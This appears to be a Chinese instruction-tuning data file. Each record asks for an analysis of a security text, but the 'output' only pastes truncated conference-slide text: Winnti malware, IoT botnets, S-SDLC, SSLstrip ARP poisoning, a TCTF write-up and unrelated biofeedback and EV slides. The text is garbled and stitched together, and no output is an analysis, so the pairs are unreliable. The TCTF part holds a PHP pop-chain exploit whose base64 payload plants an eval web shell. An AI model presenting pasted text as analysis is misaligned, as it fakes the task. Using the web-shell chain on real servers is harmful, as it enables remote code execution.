Sept.&9,&2015&–&San&Francisco&
Nov.&5,&2015&-&Aus;n&
Feb.&9,&2016&-&Sea>le&
June&15,&2016&-&Chicago&
2017&–&Stay&Tuned&
Outreach
Office of Technology
Research & Investigation
2016 Fall Technology Series
Ransomware
September 7
Drones
October 13
Smart TV
December 7
ftc.gov/tech
Putting Disclosures to the Test
September 15, 2016 ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Winnti%Polymorphism%
Takahiro%Haruyama%
Symantec%
Who%am%I?%
•  Takahiro%Haruyama%(@cci_forensics)%
•  Reverse%Engineer%at%Symantec%
–  Managed%Adversary%and%Threat%Intelligence%(MATI)%
•  https://www.symantec.com/services/cyber-security-services/
deepsight-intelligence/adversary%
•  Speaker%
–  BlackHat%Brieﬁngs%USA/EU/Asia,%SANS%DFIR%Summit,%
CEIC,%DFRWS%EU,%SECURE,%FIRST,%RSA%Conference%JP,%
etc…%
2%
Motivation%
•  Winnti%is%malware%used%by%Chinese%threat%actor%for%
cybercrime%and%cyber%espionage%since%2009%
•  Kaspersky%and%Novetta%published%good%white%papers%
about%Winnti%[1]%[2]%
•  Winnti%is%still%active%and%changing%
–  Variants%whose%behavior%is%diﬀerent%from%past%reports%
–  Targets%except%game%and%pharmaceutical%industries%
•  I’d%like%to%ﬁll%the%gaps%
3%
Agenda%
•  Winnti%Components%and%Binaries%
•  Getting%Target%Information%from%Winnti%
Samples%
•  Wrap-up%
4%
Winnti%Components%and%Binaries%
5%
Winnti%Execution%Flow%
%
6%
Dropper
Engine
2. run
3. load
& run
Service-
with-conﬁg
Worker-
with-conﬁg
(encrypted)
1. drop
5. load
memory-resident
or omitted
4. decrypt
& run
rootkit
drivers
C2-server
6. connect
to C2
New%Findings%
%
7%
Dropper
Engine
other,
malware,family
2. run
3. load
& run
Service,
with,conﬁg
Worker,
with,conﬁg
(encrypted)
1. drop
5. load
decrypt & run
(rare samples only)
memory-resident
or omitted
or ﬁle
client,malware?,on,
other,machines
4. decrypt
& run
rootkit
drivers
C2,server
6. connect
to C2
connected
through
covert
channel
SMTP
supported
Dropper%Component%
•  extract%other%components%from%inline%DES-protected%blob%
–  the%dropped%components%are%%
•  service%and%worker%
•  additionally%engine%with%other%malware%family%(but%that%is%rare)%
–  the%password%is%passed%from%command%line%argument%
–  Some%samples%add%dropper’s%conﬁguration%into%the%overlays%of%the%
components%
•  run%service%component%
–  /rundll32.exe%"%s",%\w+%%s/%
–  the%export%function%name%often%changes%
•  Install,%DlgProc,%gzopen_r,%Init,%sql_init,%sqlite3_backup...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安全软件开发生命周期(S SDLC)
安全软件开发生命周期(S-SDLC)
与业务安全
与业务安全
自我介绍&培训
高级讲师 包悦忠
• CWASP高级讲师：包悦忠
• 专场培训
1） 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8
1） 北京市朝阳区北四环中路8号 五洲皇冠国际酒店 会议室8
2） 高级会员免费参与
软件安全保障
(软件安全
• Software Security Assurance (软件安全
保障) is the process (流程) of ensuring that
)
p
(
)
g
software is designed (设计) to operate at a
level of security that is consistent with the
level of security that is consistent with the
potential harm that could result from the loss,
inaccuracy, alteration, unavailability, or misuse of
y,
,
y,
the data and resources (数据和资源) that
it uses, controls, and protects.
it uses, controls, and protects.
‐摘自英文Wikipedia网站
软件安全保障
流程
软件安全保障
安全软件开发生命周期 (S‐SDLC)
——关键要素
关键要素
需求
设计
开发
测试
部署和
运维
运维
风险评估
‐
威胁建模
设计审核
‐
安全开发
‐
安全测试
‐
安全加固
‐
补丁管理
‐
风险评估
‐
设计审核
‐
攻击面分析
‐
代码审核
‐
渗透测试
‐
漏洞管理
‐
安全事件响应
‐
风险评估模板
‐
威胁库
‐
设计审核模板
‐
公共安全组件
‐
静态分析工具
‐
动态分析工具
‐
第三方渗透测
试
‐
安全基线
‐
扫描、监控、
管理工具
培训
政策
组织能力
培训、政策、组织能力
安全软件开发生命周期 (S‐SDLC)
——流程与敏捷开发
流程与敏捷开发
• 环境初始
化
• 威胁建模
• 安全开发
• 持续集成
• 代码审核
• 更新设计
设计
开发
自动化部
持续测试
测试
部署
• 自动化部
署
• 安全运维
• 持续测试
• 渗透测试
软件安全保障
——业界最佳实践
业界最佳实践
流程体系 持续改进
• 流程体系、持续改进
– 固化→实施→评估→改进→再固化
固化→实施→评估→改进→再固化
• 设计安全
培训 意识和能力
• 培训、意识和能力
• 管理层实际的、可见的支持
管理层实际的、可见的支持
软件安全保障
——流程成熟度模型
• Software Assurance Maturity Model (SAMM)
软件安全保障
——流程成熟度模型
• Microsoft SDL Optimization Model
软件安全保障
设计暨业务安全
软件安全保障
设计
务
威胁分析目的
威胁
安全
安全
安全
安全
威胁
分析
安全
设计
安全
开发
安全
测试
安全
部署
分析
设计
开发
测试
部署
数据流图
帐号
帐号、
用户标识
帐号
邮件
代理服务
移动
客户端
第三方
邮件服务
用户标识
用户标识
邮件
帐号
邮件
邮件
用户标识
邮件
威胁模型 S.T.R.I.D.E.
仿冒
篡改
抵赖
信息泄露
拒绝服务
权限提升
数据流图
元素
仿冒
(Spoofi
ng)
篡改
(Tampe
ring)
抵赖
(Repudi
ation)
信息泄露
(Informa
tion
Disclosur
拒绝服务
(Denial
of
Service)
权限提升
(Elevatio
nof
Privilege)
Disclosur
e)
Service)
Privilege)
外部交互方
√
√
处理过程
√
√
√
√
√
√
数据存储
√
√
√
√
数据流
数据流
√
√
√
威胁分析
帐号
I
帐号、
用户标识
帐号
I
I
S
S R
邮件
代理服务
移动
客户端
第三方
邮件服务
用户标识
用户标识
邮件
帐号
邮件
I
D E
I
T
S R
邮件
I
用户标识
邮件
I
I
消减措施
——方法、技术手段
S
消减措施
方法
技术手段
S.T.R.I.D.E.
消减措施
方法、技术手段
仿冒(Spoofing)
身份验证
(Authentication)
用户名/密码、Cookie、数字签
名、挑战‐应答、自定义
篡改(Tampering)
完整性(Integrity)
访问控制、数字签名
抵赖(Repudiat...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

如何去挖掘物联网环境中的高级恶意软件威胁
叶根深
360网络安全研究院研究员
$ whoami
Email：yegenshen@360.cn
Twitter/WeChat：@zom3y3
Network Security Researcher @360Netlab
TO BE A MALWARE HUNTER!
#Botnet #Pentest #Honeypot #Sandbox
PART 01
背景介绍
目录
CONTENTS
PART 02
IoT安全现状
PART 03
挖掘未知的IoT Exploit
PART 04
挖掘未知的IoT Botnet
01
03
04
02
PART 05
总结
05
PART
01
背景介绍
What is an advanced malware threat ?
0-day Exploit      or        Cyberweapon
概览
通过Anglerfish蜜罐，我捕获到大量网络扫描Payload和IoT Botnet，并和同事一起公开披露了部分报告，其中包括：Mirai，
http81，DDG，Hajime，TheMoon，IoT_reaper，Satori，Muhstik，HNS，Fbot，MikroTik，GhostDNS，Ngioweb，
Godlua，Gwmndy等。
我还挖掘到一些有意思的样本，部分贴在了推特上#unknown_botnet，还有一个是针对IoT平台的特马但没有公开披露。
此外，我还捕获到3个0day，其中包括被Satori Botnet利用的CVE-2017-17215漏洞，被TheMoon Botnet利用的Gpon Home
Routers RCE漏洞，被Fbot利用的雄迈DVRIP协议漏洞。
我是如何研究IoT安全的？
•
开发Anglerfish蜜罐，模拟IoT设备指纹/漏洞，捕获网络扫描Payload和样本
•
筛选x86 ，ARM，MIPS等CPU架构样本，分析未被杀软件识别的恶意软件
•
开发特定漏洞扫描程序，统计全网受影响设备数量等
•
从设备官网下载相应固件，统计受影响的设备型号等
Network Scan
Payload Analysis
40%
IoT Firmware
Reversing
10%
IoT Vulnerability
Scan
10%
ELF Malware
Analysis
40%
PART
02
IoT安全现状
IoT 安全现状
IoT 安全防御能力不足
IoT Botnet 攻击能力不断升级
IoT 设备已经成为APT攻击目标
01
02
03
Vulnerability：漏洞补丁能不能打上
Exploits：恶意流量能不能拦截
Malware：恶意程序能不能阻止运行
IoT 安全防御能力不足
IoT Botnet感染能力不断升级
Mirai内置大量弱口令，
通过暴力破解Telnet服
务传播。
Mirai变种集成Zyxel
tr069协议漏洞传播，但
因为Exploit不稳定导致
路由器重启，从而引发
德国电信大断网事件。
Reaper集成9个IoT漏
洞，其中Varcon NVR
个 RCE漏洞在公开后2
天就被集成。
Satori利用Huawei
Router HG532 0-day
漏洞传播，12月5号当天
统计到感染IP数量在57
万。全球ISP联合行动，
封锁TCP/37215端口。
2016年8月1日
2016年11月28日
2017年9月13日
2017年12月5日
1
2
3
4
2018年9月4日
5
2019年2月16日
6
MikroTik设备受泄露的
CIA ChimayRed黑客工
具影响，路由器被攻击
者监听网络流量，充当
代理节点，植入js挖矿
代码。
Fbot使用XiongMai
硬编码账号密码和
DVRIP升级接口0-
day漏洞传播。
IoT Botnet感染能力不断升级
暴力破解
漏洞集成
漏洞挖掘
• 暴力破解Telnet服务
• Mirai，Gafgyt
• 集成大量已公开漏洞
• IoT_Reaper，Mirai
• 0-day 漏洞利用
• Satori，TheMoon，Fbot
IoT Botnet C2技术不断升级
冗余机制
通信协议
复杂化
• 硬编码多个C2地址
• 使用DGA技术
• Mirai，Godlua
• 使用P2P协议通信
• 使用DOH解析DNS请求
• Hajime，Godlua，HNS
• C2功能插件化
• 构造多级C2协议
• VPNFilter，Ngioweb
IoT 设备已经成为APT攻击目标
情报监控
窃听风云: 你的MikroTik路由器正在被监听
IP
Count
37.1.207....


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BRAIN GAMES
Make your own Biofeedback Video Game
Ne0nRa1n
That Strange Little 'Brain Girl'
Joe Grand aka Kingpin
www.kingpinempire.com
What is old is new again!
Interest in the human brain has been around for a very
long time. The first known writing on the brain is found in
ancient Sumerian records from 4000 B.C, where an
anonymous writer describes the euphoric mind-altering
sensations caused by ingesting the common poppy plant.
Although our theories about human behavior have
changed radically over the many years since, the methods
of studying the brain until very recently had changed very
little.
The evolution of microcomputers, miniaturization, and
digital technology has changed everything as they
lead us to technological advances that help us
understand the human brain better.
And now as computers and electronics have become
more affordable; a whole do-it-yourself neurohacking
movement has emerged.
Biofeedback might sound like a throwback to the 60's
and 70's - like 8 track tapes, bell bottoms or disco; but it
is making a comeback. And it is no surprise in this fast-
paced age where everyone seem to be trying to harness
their mind/body connection for all it is worth.
Biofeedback
The definition of biofeedback
The technique of using monitoring devices to
obtain information about an involuntary function of
the central or autonomic nervous system, such as
body temperature or blood pressure, in order to
gain some voluntary control over the function.
Using biofeedback, individuals can be trained to
respond to abnormal measurements in involuntary
function with specific therapeutic actions, such as
muscle relaxation, meditation, or changing
breathing patterns. Biofeedback has been used to
treat medical conditions such as hypertension and
chronic anxiety.
The American Heritage®
Science Dictionary
Published by Houghton Mifflin Company. All rights reserved., © 2002 by Houghton Mifflin Company.
The definition of biofeedback
The technique of using ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Convert to Electric Vehicles
2009
Electric Auto Association (EAA)
“Promoting the
use of electric
vehicles since
1967”
Electro Automotive
VoltsRabbit
Acterra EV
Conversion Project
DC Motor
Example components
Why Build an EV?
Today there are limited production electric vehicles available, so converting an existing
internal combustion engine (ICE) vehicle to an electric vehicle (EV) might be the best
current choice available to obtain an EV.
Building your own EV can be a rewarding and challenging experience. Not only will you be a
pioneer in the EV movement, but you will also be recycling a car that may be headed for the
junk yard. Don’t wait for Detroit. Custom build an EV yourself1.
A typical EV conversion will achieve a range of 30-60 miles for each charge. Studies have
shown that 80% of commuters travel less than 40 miles per day, and 50% of commuters
travel 20 miles or less per day. An EV conversion can meet those daily driving needs.
EVs are a clean, efficient alternative to conventional vehicles – using technology that is
readily available today! EVs produce zero emissions, and when you consider the full fuel
cycle to generate electricity, are up to 99% cleaner than gasoline and diesel vehicles.  EV
owners enjoy the financial benefits of significantly lower fuel and maintenance expenses.
Finally, EVs help reduce our dependence on oil.
What steps are involved?
This overview provides a high level framework for performing a conversion. Please review
the references and other links (in the next section) for more complete information.
1. Determine your driving needs: range – the distance you travel in a single day; type of
vehicle – family car, commuter, utility vehicle, or racing car.
2.  Look for an EV kit for the vehicle you choose. Kits will make the conversion significantly
easier – they include all of the parts, except batteries.  A conversion kit will cost about
$4,000-$6,000, and the batteries, depending on how many you n...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hijacking Web 2.0
Sites with SSLstrip
Hands-on Training
Contact
 Sam Bowne
 Computer Networking and Information
Technology
 City College San Francisco
 Email: sbowne@ccsf.edu
 Web: samsclass.info
The Problem
 HTTP Page with an HTTPS Logon Button
Proxy Changes HTTPS to
HTTP
Target
Using
Facebook
Attacker:
Evil Proxy
in the
Middle
To
Internet
HTTP
HTTPS
Ways to Get in the
Middle
Physical Insertion in a Wired
Network
Target
Attacker
To
Internet
Configuring Proxy Server in
the Browser
ARP Poisoning
 Redirects Traffic at Layer 2
 Sends a lot of false ARP packets on the
LAN
 Can be easily detected
 DeCaffienateID by IronGeek
 http://k78.sl.pt
ARP Request and Reply
 Client wants to find Gateway
 ARP Request: Who has 192.168.2.1?
 ARP Reply:
 MAC: 00-30-bd-02-ed-7b has 192.168.2.1
Client
Gateway
Facebook.com
ARP Request
ARP Reply
ARP Poisoning
Client
Gateway
Facebook.com
Attacker
ARP Replies: I
am the
Gateway
Traffic to
Facebook
Forwarded &
Altered Traffic
Demonstration
Do it Yourself
 You need a laptop with
 Windows host OS
 VMware Player or Workstation
 Linux Virtual Machine (available on the USB
Hard Drives in the room)
 Follow the Handout


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TCTF WriteUp By Nu1L
TCTF WriteUp By Nu1L
WEB
soracon
1linephp
worldcup
Reverse
vp
FEA
lalamblambdadambda
Crypto
zer0lfsr-
checkin
PWN
listbook
how2mutate
uc_masteeer
Babyheap 2021
MISC
uc_baaaby
GutHib
welcome
singer
Survey
WEB
soracon
phpsolrint
pop chain
<?php
namespace Phalcon\Logger {
        class Item {
                public $context;
                public $time;
                public $levelName;
                public $message;
                public function __construct($context, $time, $levelName, $message) {
                        $this->context = $context;
                        $this->time = $time;
                        $this->levelName = $levelName;
                        $this->message = $message;
                }
        }
}
namespace Phalcon\Logger\Formatter {
        class Line {
                public $format;
                public $dateFormat;
                public function __construct($format, $dateFormat) {
                        $this->format = $format;
                        $this->dateFormat = $dateFormat;
                }
        }
}
namespace Phalcon\Logger\Adapter {
        class Stream {
                public $name;
                public $inTransaction;
                public $mode;
                public $queue;
                public $formatter;
                public function __construct($name, $mode, $queue, $formatter) {
                        $this->inTransaction = 1;
                        $this->name = $name;
                        $this->mode = $mode;
                        $this->queue = $queue;
                        $this->formatter = $formatter;
                }
        }
}
namespace {
        $time = new DateTimeImmutable();
        $item = new Phalcon\Logger\Item([], $time, "test", "test");
        $line = new
Phalcon\Logger\Formatter\Line('MTIzPD9waHAgcGhwaW5mbygpO2V2YWwoJF9HRVRbInh4Il0pOz8+',
"Y-m-d H:i:s");
        $queue1 = [$item];
        $stream = new Phalcon\Logger\Adapter\Stream("/tmp/x.ph...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

N Stage Authentication with
Biometric Devices
Presented by:
Nate Rotschafer
Sophomore
Peter Kiewit Institute
Revised: July 8, 2002
N Stage Authentication
 Outline
– Background on Authentication
– General Network Security
– Need for High Grade Authentication
– Need for Multiple Factor Authentication
– Background on Error Types
– Forms of Biometric Authentication
– Pros and Cons of Each Biometric Technology
– What’s Hot? What’s Not?
– Major Players
– Network Management with Biometric Devices
– Problems
– Proper Network Security with Biometric Devices
– Demos and Discussion
– Prognosis
Background on
Authentication
Identification
 The method used by a system (not
necessarily a computer) to uniquely
identify an individual or group.
Examples: User names, Driver’s
License, School ID,
Security Badge,
Passport
Authentication
 The method(s) used to verify the given
identification against a database of
known information.
Examples: Passwords,
Fingerprints, Iris Prints,
Negotiation
Development of Authentication
 What you know…
 What you have…
 What you are…
 Future Development: How you are...
General Network Security
Security is NOT
 Installing a firewall
 A product or Service
 Running an audit and shutting things
off
Security IS
 Working productively and without
interruptions
 Only as good as the weakest link
 Risk management of resources (equipment,
people)
 Physical security
 A process, methodology, policies and people
 Is 24x7x365
General Network Security
 No silver bullet to network security
 Replay attacks
 Denial of Service ((D)DoS)
 Spoofing
 Users
 Dictionary Attacks
Security Thoughts
 80-90% are internal issues
 Hard drive crash (what did you loose,
and how long to get back up?)
 Firewall penetration (what can they do,
what do they see?)
 Internet failed (how much lost
productivity/revenue, backup net
connection?)
 Some can always get in
General Network Security
Conclusion
 Biometrics will help but will not solve all
...